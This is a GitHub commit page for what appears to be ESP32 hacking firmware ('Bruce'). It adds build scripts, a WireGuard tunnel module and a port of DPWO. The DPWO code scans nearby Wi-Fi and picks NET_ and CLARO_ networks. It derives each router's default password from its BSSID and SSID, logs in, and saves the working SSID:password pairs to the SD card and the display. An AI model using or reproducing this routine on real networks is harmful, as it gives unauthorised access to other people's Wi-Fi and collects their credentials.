-
-
Notifications
You must be signed in to change notification settings - Fork 246
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
14 changed files
with
325 additions
and
3 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
.pio | ||
.vscode/.browse.c_cpp.db* | ||
.vscode/c_cpp_properties.json | ||
.vscode/launch.json | ||
.vscode/ipch |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
{ | ||
// See http://go.microsoft.com/fwlink/?LinkId=827846 | ||
// for the documentation about the extensions.json format | ||
"recommendations": [ | ||
"platformio.platformio-ide" | ||
], | ||
"unwantedRecommendations": [ | ||
"ms-vscode.cpptools-extension-pack" | ||
] | ||
} |
Binary file not shown.
Binary file not shown.
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
~/.local/bin/esptool.py --chip esp32s3 merge_bin --output Bruce3_Cardputer.bin 0x0 .pio/build/m5stack-cardputer/bootloader.bin 0x8000 .pio/build/m5stack-cardputer/partitions.bin 0x10000 .pio/build/m5stack-cardputer/firmware.bin | ||
~/.local/bin/esptool.py --chip esp32 merge_bin --output Bruce3_cplus2.bin 0x1000 .pio/build/m5stack-cplus2/bootloader.bin 0x8000 .pio/build/m5stack-cplus2/partitions.bin 0x10000 .pio/build/m5stack-cplus2/firmware.bin | ||
~/.local/bin/esptool.py --chip esp32 merge_bin --output Bruce3_cplus1_1.bin 0x1000 .pio/build/m5stack-cplus1_1/bootloader.bin 0x8000 .pio/build/m5stack-cplus1_1/partitions.bin 0x10000 .pio/build/m5stack-cplus1_1/firmware.bin |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
rm -f Bruce3_* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,139 @@ | ||
/* | ||
Port of DPWO for ESP32 by pr3y | ||
Originally from https://github.com/caioluders/DPWO | ||
saves login creds on SD mounted card | ||
*/ | ||
#include <WiFi.h> | ||
#include <regex> | ||
|
||
#define SD_CREDS_PATH "/dpwo_creds.txt" | ||
|
||
#include "globals.h" | ||
#include "dpwo.h" | ||
|
||
int ap_scanned = 0; | ||
|
||
void parse_BSSID(char* bssid_without_colon, const char* bssid) { | ||
int j = 0; | ||
for (int i = 0; i < strlen(bssid); ++i) { | ||
if (bssid[i] != ':') { | ||
bssid_without_colon[j++] = bssid[i]; | ||
} | ||
} | ||
bssid_without_colon[j] = '\0'; | ||
} | ||
|
||
void net_ap(int i) { | ||
char bssid_without_colon[18]; | ||
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str()); | ||
Serial.println("MAC addr"); | ||
Serial.println(bssid_without_colon); | ||
|
||
char *bssid_ready = bssid_without_colon + 4; | ||
bssid_ready[strlen(bssid_ready)-2] = '\0'; | ||
int ssid_length = WiFi.SSID(i).length(); | ||
if (ssid_length >= 2) { | ||
String last_two = WiFi.SSID(i).substring(ssid_length - 2); | ||
strcat(bssid_ready, last_two.c_str()); | ||
} else { | ||
Serial.println("ERROR"); | ||
} | ||
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready); | ||
// TODO: Dont depend on delays and compare the wifi status other way :P | ||
delay(2000); | ||
while (WiFi.status() != WL_CONNECTED) { | ||
Serial.println("\nNOPE"); | ||
WiFi.disconnect(); | ||
return; | ||
} | ||
Serial.println("\nWiFi Connected"); | ||
WiFi.disconnect(); | ||
#if defined(SDCARD) | ||
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); | ||
Serial.println("\nWrote creds to SD"); | ||
#endif | ||
tft.setTextSize(1); | ||
tft.setTextColor(FGCOLOR-0x2000); | ||
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); | ||
} | ||
|
||
void claro_ap(int i) { | ||
char bssid_without_colon[18]; | ||
parse_BSSID(bssid_without_colon, WiFi.BSSIDstr(i).c_str()); | ||
Serial.println("MAC addr"); | ||
Serial.println(bssid_without_colon); | ||
|
||
char *bssid_ready = bssid_without_colon + 4; | ||
bssid_ready[strlen(bssid_ready)-2] = '\0'; | ||
int ssid_length = WiFi.SSID(i).length(); | ||
WiFi.begin(WiFi.SSID(i).c_str(), bssid_ready); | ||
delay(2000); | ||
while (WiFi.status() != WL_CONNECTED) { | ||
Serial.println("\nNOPE"); | ||
WiFi.disconnect(); | ||
return; | ||
} | ||
Serial.println("\nWiFi Connected"); | ||
WiFi.disconnect(); | ||
#if defined(SDCARD) | ||
appendToFile(SD, SD_CREDS_PATH, String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); | ||
Serial.println("\nWrote creds to SD"); | ||
#endif | ||
tft.setTextSize(1); | ||
tft.setTextColor(FGCOLOR-0x2000); | ||
tft.println(String(WiFi.SSID(i) + ":" + bssid_ready).c_str()); | ||
} | ||
|
||
|
||
void dpwo_setup() { | ||
// tft.clear(); | ||
tft.fillScreen(BGCOLOR); | ||
tft.setCursor(0, 0); | ||
Serial.println("Scanning for DPWO..."); | ||
WiFi.mode(WIFI_STA); | ||
ap_scanned = WiFi.scanNetworks(); | ||
Serial.println(ap_scanned); | ||
|
||
tft.setTextColor(FGCOLOR-0x2000); | ||
tft.println("Scanning for DPWO..."); | ||
|
||
if (ap_scanned == 0) { | ||
tft.println("no networks found"); | ||
} else { | ||
|
||
//TODO: add different functions to match Copel and Vivo regex on SSID also | ||
std::regex net_regex("NET_.*"); | ||
std::regex claro_regex("CLARO_.*"); | ||
|
||
|
||
//TODO: dont repeat the wifi connection process inside each function, instead work on this loop | ||
|
||
for (int i = 0; i < ap_scanned; ++i) { | ||
if (std::regex_search(WiFi.SSID(i).c_str(), net_regex)) { | ||
net_ap(i); | ||
Serial.println("NET SSID"); | ||
} else if (std::regex_search(WiFi.SSID(i).c_str(), claro_regex)) { | ||
claro_ap(i); | ||
Serial.println(WiFi.SSID(i)); | ||
Serial.println("CLARO SSID"); | ||
|
||
} else { | ||
Serial.println("not vuln"); | ||
Serial.println(WiFi.SSID(i)); | ||
|
||
} | ||
|
||
|
||
} | ||
|
||
|
||
} | ||
Serial.println("scanning again"); | ||
ap_scanned = WiFi.scanNetworks(); | ||
|
||
//TODO: append vulnerable APs and dont repeat the output | ||
|
||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
#include "display.h" | ||
|
||
void parse_BSSID(char* bssid_without_colon, const char* bssid); | ||
|
||
void net_ap(int i); | ||
|
||
void claro_ap(int i); | ||
|
||
void dpwo_setup(); | ||
|
||
void dpwo_loop(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,143 @@ | ||
#include <WireGuard-ESP32.h> | ||
#include "wg.h" | ||
#include "globals.h" | ||
#include "display.h" | ||
#include "sd_functions.h" | ||
|
||
|
||
char private_key[45]; | ||
IPAddress local_ip; | ||
char public_key[45]; | ||
char endpoint_address[16]; | ||
int endpoint_port = 31337; | ||
|
||
static constexpr const uint32_t UPDATE_INTERVAL_MS = 5000; | ||
|
||
static WireGuard wg; | ||
|
||
void parse_config_file(File configFile) { | ||
String line; | ||
|
||
while (configFile.available()) { | ||
line = configFile.readStringUntil('\n'); | ||
Serial.println("==========PRINTING LINE"); | ||
Serial.println(line); | ||
line.trim(); | ||
|
||
if (line.startsWith("[Interface]") || line.isEmpty()) { | ||
// Skip [Interface] or empty lines | ||
continue; | ||
} else if (line.startsWith("PrivateKey")) { | ||
line.remove(0, line.indexOf('=') + 1); | ||
line.trim(); | ||
Serial.println("Private Key: " + line); | ||
strncpy(private_key, line.c_str(), sizeof(private_key) - 1); | ||
private_key[sizeof(private_key) - 1] = '\0'; // Ensure null-terminated | ||
} else if (line.startsWith("Address")) { | ||
line.remove(0, line.indexOf('=') + 1); | ||
line.trim(); | ||
Serial.println("Local IP: " + line); | ||
int slashIndex = line.indexOf('/'); | ||
|
||
if (slashIndex != -1) { | ||
Serial.println("~~~~~~~~~~~~"); | ||
Serial.println(line.substring(0, slashIndex)); | ||
local_ip.fromString(line.substring(0, slashIndex)); | ||
} | ||
|
||
} else if (line.startsWith("[Peer]")) { | ||
// Handle [Peer] section | ||
} else if (line.startsWith("PublicKey")) { | ||
line.remove(0, line.indexOf('=') + 1); | ||
line.trim(); | ||
Serial.println("Public Key: " + line); | ||
strncpy(public_key, line.c_str(), sizeof(public_key) - 1); | ||
public_key[sizeof(public_key) - 1] = '\0'; // Ensure null-terminated | ||
} else if (line.startsWith("Endpoint")) { | ||
//Serial.println("~~~~~~~~~~~endpoint"); | ||
//Serial.println(line); | ||
line.remove(0, line.indexOf('=') + 1); | ||
line.trim(); | ||
int colonIndex = line.indexOf(':'); | ||
|
||
if (colonIndex != -1) { | ||
//Serial.println("Endpoint Line: " + line); | ||
strncpy(endpoint_address, line.substring(0, colonIndex).c_str(), sizeof(endpoint_address) - 1); | ||
endpoint_address[sizeof(endpoint_address) - 1] = '\0'; // Ensure null-terminated | ||
Serial.println("Endpoint Address: " + String(endpoint_address)); | ||
endpoint_port = line.substring(colonIndex + 1).toInt(); | ||
Serial.println("Endpoint Port: " + String(endpoint_port)); | ||
} | ||
} | ||
} | ||
|
||
Serial.println("Closing file!"); | ||
configFile.close(); | ||
} | ||
|
||
|
||
|
||
void read_and_parse_file() { | ||
if (!SD.begin(SS)) { | ||
Serial.println("Failed to initialize SD card"); | ||
return; | ||
} | ||
|
||
File file = SD.open("/wg.conf"); | ||
if (!file) { | ||
tft.fillScreen(BGCOLOR); | ||
tft.setCursor(0, 0); | ||
|
||
tft.setTextColor(TFT_RED, BGCOLOR); | ||
Serial.println("Failed to open file"); | ||
tft.println("No wg.conf file\nfound on\nthe SD"); | ||
tft.setTextColor(FGCOLOR, BGCOLOR); | ||
delay(60000); | ||
return; | ||
} | ||
|
||
Serial.println("Readed config file!"); | ||
|
||
Serial.println("Found file!"); | ||
parse_config_file(file); | ||
|
||
|
||
} | ||
|
||
void wg_setup() | ||
{ | ||
read_and_parse_file(); | ||
|
||
Serial.println("Adjusting system time..."); | ||
configTime(9 * 60 * 60, 0, "ntp.jst.mfeed.ad.jp", "ntp.nict.jp"); | ||
tft.fillScreen(BGCOLOR); | ||
tft.setCursor(0, 0); | ||
|
||
Serial.println("Connected. Initializing WireGuard..."); | ||
tft.println("Connecting to\nwireguard..."); | ||
wg.begin( | ||
local_ip, | ||
private_key, | ||
endpoint_address, | ||
public_key, | ||
endpoint_port); | ||
Serial.println(local_ip); | ||
Serial.println(private_key); | ||
Serial.println(endpoint_address); | ||
Serial.println(public_key); | ||
Serial.println(endpoint_port); | ||
|
||
//tft.clear(); | ||
tft.fillScreen(BGCOLOR); | ||
tft.setCursor(0, 0); | ||
|
||
tft.setTextColor(TFT_GREEN, BGCOLOR); | ||
tft.println("Connected!"); | ||
tft.setTextColor(FGCOLOR, BGCOLOR); | ||
tft.println("IP on tunnel:"); | ||
tft.setTextColor(TFT_WHITE, BGCOLOR); | ||
tft.println(local_ip); | ||
tft.setTextColor(FGCOLOR, BGCOLOR); | ||
Serial.println(local_ip); | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
#include <SPIFFS.h> | ||
|
||
void parse_config_file(fs::File configFile); | ||
|
||
void read_and_parse_file(); | ||
|
||
void wg_setup(); |